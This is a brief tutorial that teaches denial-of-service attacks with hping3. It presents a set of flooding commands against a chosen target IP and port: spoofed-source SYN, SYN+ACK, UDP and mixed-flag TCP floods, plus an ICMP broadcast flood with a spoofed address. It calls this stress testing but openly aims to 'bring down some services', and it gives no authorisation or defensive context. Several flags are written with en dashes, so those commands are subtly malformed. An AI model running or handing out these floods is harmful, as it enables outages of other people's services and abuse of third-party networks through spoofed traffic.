I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-Service Attacks. In this attack, attacker denies the user to use a particular service. You can have many tools for DoS attacks, but I'm gonna teach you a simple method for stress testing on the service.
We need Hping3 (It is available in linux only but you can use hping2 in windows but i can't assure you that it will work for this practical). Download Hping2/3 here
Ok so let's bring down some services.
Open the console and go to the path of hping3 and give the following command.
hping3 --rand-source –S –L 0 –p <target port> <target IP>
Here we are sending SYN packets (set value by replacing 0) with a random source.
hping3 --rand-source –SA –p <open port> <target IP>
Here we are sending SYN + ACK packets from a random source.
hping3 --rand-source -–udp <target IP> --flood
Flooding the target IP with UDP packets.
hping3 --rand-source –SAFRU –L 0 –M 0 –p <port> <target> --flood
In this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M.
hping3 --icmp --spoof <target address> <broadcast address> --flood
Flooding with ICMP packets by spoofed IP (--spoof).
Once you download the hping, open your console and type "hping3 --help" for more options.